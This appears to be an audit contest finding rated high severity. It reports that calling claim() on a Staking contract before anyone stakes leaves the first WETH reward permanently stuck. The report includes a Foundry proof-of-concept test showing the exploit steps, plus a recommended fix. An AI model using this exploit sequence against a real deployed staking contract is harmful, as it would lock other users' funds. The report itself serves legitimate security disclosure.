20,000 USDC
View results
Submission Details
Severity: high
Valid

Malicious user can stuck first reward

Summary

In case a reward is sent to contract without any staking, it can stuck by a malicious user by calling claim().

Vulnerability Details

To receive rewards, WETH must be deposited in the contract. If there is no token staking and some reward is sent to this contract, any user can call claim() to update the balance of this contract without updating the index. This leaves the deposited tokens in a blocked state.

POC:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test, console2} from "forge-std/Test.sol";
import "../src/Staking.sol";
import {ERC20} from "solady/src/tokens/ERC20.sol";
contract TERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract POCTest is Test {
Staking public staking;
TERC20 public beedle;
TERC20 public weth;
address public attacker = address(0x1);
address public staker = address(0x2);
function setUp() public {
beedle = new TERC20();
weth = new TERC20();
staking = new Staking(address(beedle), address(weth));
beedle.mint(staker, 10e18);
}
function testExploitFirstReward() public {
//@audit in case the contract is funded with first WETH before someonelse deposits the first TKN amount
weth.mint(address(staking), 1e18);
vm.prank(attacker);
staking.claim();
//@audit in a normal case the balance wont be updated and the first WETH rewards can be distributed to users
console2.log("Index: ", staking.index());
console2.log("Balance: ", staking.balance());
//@audit the next calculation of index will only happens when there is a difference in balance and won't count the first WETH deposit
vm.startPrank(staker);
beedle.approve(address(staking), 10e18);
staking.deposit(10e18);
vm.stopPrank();
weth.mint(address(staking), 1e18);
vm.prank(staker);
staking.claim();
console2.log("Staker claim: ", weth.balanceOf(staker));
console2.log("Contract balance: ", weth.balanceOf(address(staking)));
}
}

Impact

In case there is no staking it blocks first reward deposit

Tools Used

Manual Review

Recommendations

The recommendation is to check if claimable[msg.sender] != 0.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.